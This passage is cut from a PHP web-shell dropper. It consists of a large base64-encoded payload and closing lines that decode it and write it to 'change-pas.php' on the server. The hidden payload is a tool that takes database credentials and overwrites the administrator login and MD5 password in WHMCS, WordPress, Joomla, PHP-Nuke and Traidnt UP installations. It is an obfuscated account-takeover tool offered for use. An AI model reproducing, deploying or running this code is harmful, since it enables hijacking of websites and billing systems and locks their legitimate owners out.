dobT1zdHJfcmVwbGFjZSgiXCciLCInIiwkcHN3aG0pOwokcGFzc193aG0gPSAkX1BPU1RbJ3Bzd2htJ107CiRzZXRfcHN3aG0gPSBtZDUoJHBhc3Nfd2htKTsKCiRsZWNvbmd0aGllbjkgPSAiVVBEQVRFIHRibGFkbWlucyBTRVQgdXNlcm5hbWUgPSciLiRzZXRfdXJ3aG0uIicgV0hFUkUgaWQgPScxJyI7CiRsZWNvbmd0aGllbjEwID0gIlVQREFURSB0YmxhZG1pbnMgU0VUIHBhc3N3b3JkID0nIi4kc2V0X3Bzd2htLiInIFdIRVJFIGlkID0nMSciOwoKJG9rNT1AbXlzcWxfcXVlcnkoJGxlY29uZ3RoaWVuOSk7CiRvazU9QG15c3FsX3F1ZXJ5KCRsZWNvbmd0aGllbjEwKTsKCmlmKCRvazUpewplY2hvICI8c2NyaXB0PmFsZXJ0KCdXSE1DUyB1cGRhdGUgc3VjY2VzcyAuIENvcHlyaWdodCBCeSBNeSBIdXllbiA7KScpOzwvc2NyaXB0PiI7Cn0KfQoKLy9Xb3JkUHJlc3MKaWYgKGlzc2V0KCRfUE9TVFsnd29yZHByZXNzJ10pKQp7CmVjaG8gIjxjZW50ZXI+PHRhYmxlIGJvcmRlcj0wIHdpZHRoPScxMDAlJz4KPHRyPjx0ZD4KPGNlbnRlcj48Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPkNoYW5nZSBXb3JkUHJlc3MgSW5mbzxicj5QYXRjaCBDb250cm9sIFBhbmVsIDogW3BhdGNoXS93cC1hZG1pbjxicj5QYXRoIENvbmZpZyA6IFtwYXRjaF0vd3AtY29uZmlnLnBocDwvZm9udD48L2NlbnRlcj4KICAgIDxjZW50ZXI+PGZvcm0gbWV0aG9kPVBPU1QgYWN0aW9uPScnPjxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+TXlzcWwgSG9zdDwvZm9udD48YnI+PGlucHV0IHZhbHVlPWxvY2FsaG9zdCB0eXBlPXRleHQgbmFtZT1kYmh3cCBzaXplPSc1MCcgc3R5bGU9J2ZvbnQtc2l6ZTogOHB0OyBjb2xvcjogIzAwMDAwMDsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NjsgYmFja2dyb3VuZC1jb2xvcjogI0ZGRkZGRic+PGJyPgogICAgICAgICAgPGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz5EQiBuYW1lPGJyPjwvZm9udD48aW5wdXQgdmFsdWU9d29yZHByZXNzIHR5cGU9dGV4dCBuYW1lPWRibndwIHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+CiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPkRCIHVzZXI8YnI+PC9mb250PjxpbnB1dCB2YWx1ZT1yb290IHR5cGU9dGV4dCBuYW1lPWRidXdwIHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+CiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPkRCIHBhc3N3b3JkPGJyPjwvZm9udD48aW5wdXQgdmFsdWU9YWRtaW4gdHlwZT1wYXNzd29yZCBuYW1lPWRicHdwIHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+CiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPkNoYW5nZSB1c2VyIGFkbWluPGJyPjwvZm9udD48aW5wdXQgdmFsdWU9S3ltTGpuayB0eXBlPXRleHQgbmFtZT11cndwIHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+CiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPkNoYW5nZSBwYXNzd29yZCBhZG1pbjxicj48L2ZvbnQ+PGlucHV0IHZhbHVlPUt5bUxqbmsgdHlwZT1wYXNzd29yZCBuYW1lPXBzd3Agc2l6ZT0nNTAnIHN0eWxlPSdmb250LXNpemU6IDhwdDsgY29sb3I6ICMwMDAwMDA7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7IGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkYnPjxicj4KICAgICAgICAgIDxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+VGFibGUgcHJlZml4PGJyPjwvZm9udD48aW5wdXQgdmFsdWU9d3BfIHR5cGU9dGV4dCBuYW1lPXByd3Agc2l6ZT0nNTAnIHN0eWxlPSdmb250LXNpemU6IDhwdDsgY29sb3I6ICMwMDAwMDA7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7IGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkYnPjxicj4KICAgICAgICAgIDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nQ2hhbmdlJyA+PC9mb3JtPjwvY2VudGVyPjwvdGQ+PC90cj48L3RhYmxlPjwvY2VudGVyPiI7Cn1lbHNlewokZGJod3AgPSAkX1BPU1RbJ2RiaHdwJ107CiRkYm53cCAgPSAkX1BPU1RbJ2RibndwJ107CiRkYnV3cCA9ICRfUE9TVFsnZGJ1d3AnXTsKJGRicHdwICA9ICRfUE9TVFsnZGJwd3AnXTsKICAgICAgICAgQG15c3FsX2Nvbm5lY3QoJGRiaHdwLCRkYnV3cCwkZGJwd3ApOwogICAgICAgICBAbXlzcWxfc2VsZWN0X2RiKCRkYm53cCk7CgokdXJ3cD1zdHJfcmVwbGFjZSgiXCciLCInIiwkdXJ3cCk7CiRzZXRfdXJ3cCA9ICRfUE9TVFsndXJ3cCddOwoKJHBzd3A9c3RyX3JlcGxhY2UoIlwnIiwiJyIsJHBzd3ApOwokcGFzc193cCA9ICRfUE9TVFsncHN3cCddOwokc2V0X3Bzd3AgPSBtZDUoJHBhc3Nfd3ApOwoKJHdwX3ByZWZpeCA9ICRfUE9TVFsncHJ3cCddOwoKJHRhYmxlX25hbWU0ID0gJHdwX3ByZWZpeC4idXNlcnMiIDsKCiRsZWNvbmd0aGllbjExID0gIlVQREFURSAkdGFibGVfbmFtZTQgU0VUIHVzZXJfbG9naW4gPSciLiRzZXRfdXJ3cC4iJyBXSEVSRSBJRCA9JzEnIjsKJGxlY29uZ3RoaWVuMTIgPSAiVVBEQVRFICR0YWJsZV9uYW1lNCBTRVQgdXNlcl9wYXNzID0nIi4kc2V0X3Bzd3AuIicgV0hFUkUgSUQgPScxJyI7Cgokb2s2PUBteXNxbF9xdWVyeSgkbGVjb25ndGhpZW4xMSk7CiRvazY9QG15c3FsX3F1ZXJ5KCRsZWNvbmd0aGllbjEyKTsKCmlmKCRvazYpewplY2hvICI8c2NyaXB0PmFsZXJ0KCdXb3JkUHJlc3MgdXBkYXRlIHN1Y2Nlc3MgLiBDb3B5cmlnaHQgQnkgTXkgSHV5ZW4gOyknKTs8L3NjcmlwdD4iOwp9Cn0KCi8vSm9vbWxhCmlmIChpc3NldCgkX1BPU1RbJ2pvb21sYSddKSkKewplY2hvICI8Y2VudGVyPjx0YWJsZSBib3JkZXI9MCB3aWR0aD0nMTAwJSc+Cjx0cj48dGQ+CjxjZW50ZXI+PGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz5DaGFuZ2UgSm9vbWxhIEluZm88YnI+UGF0Y2ggQ29udHJvbCBQYW5lbCA6IFtwYXRjaF0vYWRtaW5pc3RyYXRvcjxicj5QYXRoIENvbmZpZyA6IFtwYXRjaF0vY29uZmlndXJhdGlvbi5waHA8L2ZvbnQ+PC9jZW50ZXI+CiAgICA8Y2VudGVyPjxmb3JtIG1ldGhvZD1QT1NUIGFjdGlvbj0nJz48Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPk15c3FsIEhvc3Q8L2ZvbnQ+PGJyPjxpbnB1dCB2YWx1ZT1sb2NhbGhvc3QgdHlwZT10ZXh0IG5hbWU9ZGJoam9zIHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+CiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPkRCIG5hbWU8YnI+PC9mb250PjxpbnB1dCB2YWx1ZT1qb29tbGEgdHlwZT10ZXh0IG5hbWU9ZGJuam9zIHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+CiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPkRCIHVzZXI8YnI+PC9mb250PjxpbnB1dCB2YWx1ZT1yb290IHR5cGU9dGV4dCBuYW1lPWRidWpvcyBzaXplPSc1MCcgc3R5bGU9J2ZvbnQtc2l6ZTogOHB0OyBjb2xvcjogIzAwMDAwMDsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NjsgYmFja2dyb3VuZC1jb2xvcjogI0ZGRkZGRic+PGJyPgogICAgICAgICAgPGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz5EQiBwYXNzd29yZDxicj48L2ZvbnQ+PGlucHV0IHZhbHVlPWFkbWluIHR5cGU9cGFzc3dvcmQgbmFtZT1kYnBqb3Mgc2l6ZT0nNTAnIHN0eWxlPSdmb250LXNpemU6IDhwdDsgY29sb3I6ICMwMDAwMDA7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7IGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkYnPjxicj4KICAgICAgICAgIDxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+Q2hhbmdlIHVzZXIgYWRtaW48YnI+PC9mb250PjxpbnB1dCB2YWx1ZT1LeW1Mam5rIHR5cGU9dGV4dCBuYW1lPXVyam9zIHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+CiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPkNoYW5nZSBwYXNzd29yZCBhZG1pbjxicj48L2ZvbnQ+PGlucHV0IHZhbHVlPUt5bUxqbmsgdHlwZT1wYXNzd29yZCBuYW1lPXBzam9zIHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+CiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPlRhYmxlIHByZWZpeDxicj48L2ZvbnQ+PGlucHV0IHZhbHVlPWpvc18gdHlwZT10ZXh0IG5hbWU9cHJqb3Mgc2l6ZT0nNTAnIHN0eWxlPSdmb250LXNpemU6IDhwdDsgY29sb3I6ICMwMDAwMDA7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7IGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkYnPjxicj4KICAgICAgICAgIDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nQ2hhbmdlJyA+PC9mb3JtPjwvY2VudGVyPjwvdGQ+PC90cj48L3RhYmxlPjwvY2VudGVyPiI7Cn1lbHNlewokZGJoam9zID0gJF9QT1NUWydkYmhqb3MnXTsKJGRibmpvcyAgPSAkX1BPU1RbJ2RibmpvcyddOwokZGJ1am9zID0gJF9QT1NUWydkYnVqb3MnXTsKJGRicGpvcyAgPSAkX1BPU1RbJ2RicGpvcyddOwogICAgICAgICBAbXlzcWxfY29ubmVjdCgkZGJoam9zLCRkYnVqb3MsJGRicGpvcyk7CiAgICAgICAgIEBteXNxbF9zZWxlY3RfZGIoJGRibmpvcyk7CgokdXJqb3M9c3RyX3JlcGxhY2UoIlwnIiwiJyIsJHVyam9zKTsKJHNldF91cmpvcyA9ICRfUE9TVFsndXJqb3MnXTsKCiRwc2pvcz1zdHJfcmVwbGFjZSgiXCciLCInIiwkcHNqb3MpOwokcGFzc19qb3MgPSAkX1BPU1RbJ3Bzam9zJ107CiRzZXRfcHNqb3MgPSBtZDUoJHBhc3Nfam9zKTsKCiRqb3NfcHJlZml4ID0gJF9QT1NUWydwcmpvcyddOwoKJHRhYmxlX25hbWU1ID0gJGpvc19wcmVmaXguInVzZXJzIiA7CgokbGVjb25ndGhpZW4xMyA9ICJVUERBVEUgJHRhYmxlX25hbWU1IFNFVCB1c2VybmFtZSA9JyIuJHNldF91cmpvcy4iJyBXSEVSRSBpZCA9JzYyJyI7CiRsZWNvbmd0aGllbjE0ID0gIlVQREFURSAkdGFibGVfbmFtZTUgU0VUIHBhc3N3b3JkID0nIi4kc2V0X3Bzam9zLiInIFdIRVJFIGlkID0nNjInIjsKCiRvazc9QG15c3FsX3F1ZXJ5KCRsZWNvbmd0aGllbjEzKTsKJG9rNz1AbXlzcWxfcXVlcnkoJGxlY29uZ3RoaWVuMTQpOwoKaWYoJG9rNyl7CmVjaG8gIjxzY3JpcHQ+YWxlcnQoJ0pvb21sYSB1cGRhdGUgc3VjY2VzcyAuIENvcHlyaWdodCBCeSBNeSBIdXllbiA7KScpOzwvc2NyaXB0PiI7Cn0KfQoKLy9QSFAtTlVLRQppZiAoaXNzZXQoJF9QT1NUWydwaHAtbnVrZSddKSkKewplY2hvICI8Y2VudGVyPjx0YWJsZSBib3JkZXI9MCB3aWR0aD0nMTAwJSc+Cjx0cj48dGQ+CjxjZW50ZXI+PGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz5DaGFuZ2UgUEhQLU5VS0UgSW5mbzxicj5QYXRjaCBDb250cm9sIFBhbmVsIDogW3BhdGNoXS9hZG1pbi5waHA8YnI+UGF0aCBDb25maWcgOiBbcGF0Y2hdL2NvbmZpZy5waHA8L2ZvbnQ+PC9jZW50ZXI+CiAgICA8Y2VudGVyPjxmb3JtIG1ldGhvZD1QT1NUIGFjdGlvbj0nJz48Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPk15c3FsIEhvc3Q8L2ZvbnQ+PGJyPjxpbnB1dCB2YWx1ZT1sb2NhbGhvc3QgdHlwZT10ZXh0IG5hbWU9ZGJocG5rIHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+CiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPkRCIG5hbWU8YnI+PC9mb250PjxpbnB1dCB2YWx1ZT1waHBudWtlIHR5cGU9dGV4dCBuYW1lPWRibnBuayBzaXplPSc1MCcgc3R5bGU9J2ZvbnQtc2l6ZTogOHB0OyBjb2xvcjogIzAwMDAwMDsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NjsgYmFja2dyb3VuZC1jb2xvcjogI0ZGRkZGRic+PGJyPgogICAgICAgICAgPGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz5EQiB1c2VyPGJyPjwvZm9udD48aW5wdXQgdmFsdWU9cm9vdCB0eXBlPXRleHQgbmFtZT1kYnVwbmsgc2l6ZT0nNTAnIHN0eWxlPSdmb250LXNpemU6IDhwdDsgY29sb3I6ICMwMDAwMDA7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7IGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkYnPjxicj4KICAgICAgICAgIDxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+REIgcGFzc3dvcmQ8YnI+PC9mb250PjxpbnB1dCB2YWx1ZT1hZG1pbiB0eXBlPXBhc3N3b3JkIG5hbWU9ZGJwcG5rIHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+CiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPkNoYW5nZSB1c2VyIGFkbWluPGJyPjwvZm9udD48aW5wdXQgdmFsdWU9S3ltTGpuayB0eXBlPXRleHQgbmFtZT11cnBuayBzaXplPSc1MCcgc3R5bGU9J2ZvbnQtc2l6ZTogOHB0OyBjb2xvcjogIzAwMDAwMDsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NjsgYmFja2dyb3VuZC1jb2xvcjogI0ZGRkZGRic+PGJyPgogICAgICAgICAgPGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz5DaGFuZ2UgcGFzc3dvcmQgYWRtaW48YnI+PC9mb250PjxpbnB1dCB2YWx1ZT1LeW1Mam5rIHR5cGU9cGFzc3dvcmQgbmFtZT1wc3BuayBzaXplPSc1MCcgc3R5bGU9J2ZvbnQtc2l6ZTogOHB0OyBjb2xvcjogIzAwMDAwMDsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NjsgYmFja2dyb3VuZC1jb2xvcjogI0ZGRkZGRic+PGJyPgogICAgICAgICAgPGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz5UYWJsZSBwcmVmaXg8YnI+PC9mb250PjxpbnB1dCB2YWx1ZT1udWtlXyB0eXBlPXRleHQgbmFtZT1wcnBuayBzaXplPSc1MCcgc3R5bGU9J2ZvbnQtc2l6ZTogOHB0OyBjb2xvcjogIzAwMDAwMDsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NjsgYmFja2dyb3VuZC1jb2xvcjogI0ZGRkZGRic+PGJyPgogICAgICAgICAgPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdDaGFuZ2UnID48L2Zvcm0+PC9jZW50ZXI+PC90ZD48L3RyPjwvdGFibGU+PC9jZW50ZXI+IjsKfWVsc2V7CiRkYmhwbmsgPSAkX1BPU1RbJ2RiaHBuayddOwokZGJucG5rICA9ICRfUE9TVFsnZGJucG5rJ107CiRkYnVwbmsgPSAkX1BPU1RbJ2RidXBuayddOwokZGJwcG5rICA9ICRfUE9TVFsnZGJwcG5rJ107CiAgICAgICAgIEBteXNxbF9jb25uZWN0KCRkYmhwbmssJGRidXBuaywkZGJwcG5rKTsKICAgICAgICAgQG15c3FsX3NlbGVjdF9kYigkZGJucG5rKTsKCiR1cnBuaz1zdHJfcmVwbGFjZSgiXCciLCInIiwkdXJwbmspOwokc2V0X3VycG5rID0gJF9QT1NUWyd1cnBuayddOwoKJHBzcG5rPXN0cl9yZXBsYWNlKCJcJyIsIiciLCRwc3Buayk7CiRwYXNzX3BuayA9ICRfUE9TVFsncHNwbmsnXTsKJHNldF9wc3BuayA9IG1kNSgkcGFzc19wbmspOwoKJHBua19wcmVmaXggPSAkX1BPU1RbJ3BycG5rJ107CgokdGFibGVfbmFtZTYgPSAkcG5rX3ByZWZpeC4idXNlcnMiIDsKJHRhYmxlX25hbWU3ID0gJHBua19wcmVmaXguImF1dGhvcnMiIDsKCiRsZWNvbmd0aGllbjE1ID0gIlVQREFURSAkdGFibGVfbmFtZTYgU0VUIHVzZXJuYW1lID0nIi4kc2V0X3VycG5rLiInIFdIRVJFIHVzZXJfaWQgPScyJyI7CiRsZWNvbmd0aGllbjE2ID0gIlVQREFURSAkdGFibGVfbmFtZTYgU0VUIHVzZXJfcGFzc3dvcmQgPSciLiRzZXRfcHNwbmsuIicgV0hFUkUgdXNlcl9pZCA9JzInIjsKCiRsZWNvbmd0aGllbjE3ID0gIlVQREFURSAkdGFibGVfbmFtZTcgU0VUIGFpZCA9JyIuJHNldF91cnBuay4iJyBXSEVSRSByYWRtaW5zdXBlciA9JzEnIjsKJGxlY29uZ3RoaWVuMTggPSAiVVBEQVRFICR0YWJsZV9uYW1lNyBTRVQgcHdkID0nIi4kc2V0X3BzcG5rLiInIFdIRVJFIHJhZG1pbnN1cGVyID0nMSciOwoKJG9rOD1AbXlzcWxfcXVlcnkoJGxlY29uZ3RoaWVuMTUpOwokb2s4PUBteXNxbF9xdWVyeSgkbGVjb25ndGhpZW4xNik7CiRvazg9QG15c3FsX3F1ZXJ5KCRsZWNvbmd0aGllbjE3KTsKJG9rOD1AbXlzcWxfcXVlcnkoJGxlY29uZ3RoaWVuMTgpOwoKaWYoJG9rOCl7CmVjaG8gIjxzY3JpcHQ+YWxlcnQoJ1BIUC1OVUtFIHVwZGF0ZSBzdWNjZXNzIC4gQ29weXJpZ2h0IEJ5IE15IEh1eWVuIDspJyk7PC9zY3JpcHQ+IjsKfQp9CgovL1RyYWlkbnQgVVAKaWYgKGlzc2V0KCRfUE9TVFsndXAnXSkpCnsKZWNobyAiPGNlbnRlcj48dGFibGUgYm9yZGVyPTAgd2lkdGg9JzEwMCUnPgo8dHI+PHRkPgo8Y2VudGVyPjxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+Q2hhbmdlIFRyYWlkbnQgVVAgSW5mbzxicj5QYXRjaCBDb250cm9sIFBhbmVsIDogW3BhdGNoXS91cGxvYWRjcDxicj5QYXRoIENvbmZpZyA6IFtwYXRjaF0vaW5jbHVkZXMvY29uZmlnLnBocDwvZm9udD48L2NlbnRlcj4KICAgIDxjZW50ZXI+PGZvcm0gbWV0aG9kPVBPU1QgYWN0aW9uPScnPjxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+TXlzcWwgSG9zdDwvZm9udD48YnI+PGlucHV0IHZhbHVlPWxvY2FsaG9zdCB0eXBlPXRleHQgbmFtZT1kYmh1cCBzaXplPSc1MCcgc3R5bGU9J2ZvbnQtc2l6ZTogOHB0OyBjb2xvcjogIzAwMDAwMDsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NjsgYmFja2dyb3VuZC1jb2xvcjogI0ZGRkZGRic+PGJyPgogICAgICAgICAgPGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz5EQiBuYW1lPGJyPjwvZm9udD48aW5wdXQgdmFsdWU9dXBsb2FkIHR5cGU9dGV4dCBuYW1lPWRibnVwIHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+CiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPkRCIHVzZXI8YnI+PC9mb250PjxpbnB1dCB2YWx1ZT1yb290IHR5cGU9dGV4dCBuYW1lPWRidXVwIHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+CiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPkRCIHBhc3N3b3JkPGJyPjwvZm9udD48aW5wdXQgdmFsdWU9YWRtaW4gdHlwZT1wYXNzd29yZCBuYW1lPWRicHVwIHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+CiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPkNoYW5nZSB1c2VyIGFkbWluPGJyPjwvZm9udD48aW5wdXQgdmFsdWU9S3ltTGpuayB0eXBlPXRleHQgbmFtZT11cnVwIHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+CiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPkNoYW5nZSBwYXNzd29yZCBhZG1pbjxicj48L2ZvbnQ+PGlucHV0IHZhbHVlPUt5bUxqbmsgdHlwZT1wYXNzd29yZCBuYW1lPXBzdXAgc2l6ZT0nNTAnIHN0eWxlPSdmb250LXNpemU6IDhwdDsgY29sb3I6ICMwMDAwMDA7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7IGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkYnPjxicj4KICAgICAgICAgIDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nQ2hhbmdlJyA+PC9mb3JtPjwvY2VudGVyPjwvdGQ+PC90cj48L3RhYmxlPjwvY2VudGVyPiI7Cn1lbHNlewokZGJodXAgPSAkX1BPU1RbJ2RiaHVwJ107CiRkYm51cCAgPSAkX1BPU1RbJ2RibnVwJ107CiRkYnV1cCA9ICRfUE9TVFsnZGJ1dXAnXTsKJGRicHVwICA9ICRfUE9TVFsnZGJwdXAnXTsKICAgICAgICAgQG15c3FsX2Nvbm5lY3QoJGRiaHVwLCRkYnV1cCwkZGJwdXApOwogICAgICAgICBAbXlzcWxfc2VsZWN0X2RiKCRkYm51cCk7CgokdXJ1cD1zdHJfcmVwbGFjZSgiXCciLCInIiwkdXJ1cCk7CiRzZXRfdXJ1cCA9ICRfUE9TVFsndXJ1cCddOwoKJHBzdXA9c3RyX3JlcGxhY2UoIlwnIiwiJyIsJHBzdXApOwokcGFzc191cCA9ICRfUE9TVFsncHN1cCddOwokc2V0X3BzdXAgPSBtZDUoJHBhc3NfdXApOwoKJGxlY29uZ3RoaWVuMTkgPSAiVVBEQVRFIGFkbWluIFNFVCBhZG1pbl91c2VyID0nIi4kc2V0X3VydXAuIicgV0hFUkUgYWRtaW5faWQgPScxJyI7CiRsZWNvbmd0aGllbjIwID0gIlVQREFURSBhZG1pbiBTRVQgYWRtaW5fcGFzc3dvcmQgPSciLiRzZXRfcHN1cC4iJyBXSEVSRSBhZG1pbl9pZCA9JzEnIjsKCiRvazk9QG15c3FsX3F1ZXJ5KCRsZWNvbmd0aGllbjE5KTsKJG9rOT1AbXlzcWxfcXVlcnkoJGxlY29uZ3RoaWVuMjApOwoKaWYoJG9rOSl7CmVjaG8gIjxzY3JpcHQ+YWxlcnQoJ1RyYWlkbnQgVVAgdXBkYXRlIHN1Y2Nlc3MgLiBDb3B5cmlnaHQgQnkgTXkgSHV5ZW4gOyknKTs8L3NjcmlwdD4iOwp9Cn0KLy9FTkQKPz4K
- ';
- $file = fopen("change-pas.php", "w+");
- $write = fwrite($file, base64_decode($perltoolss));
- fclose($file);
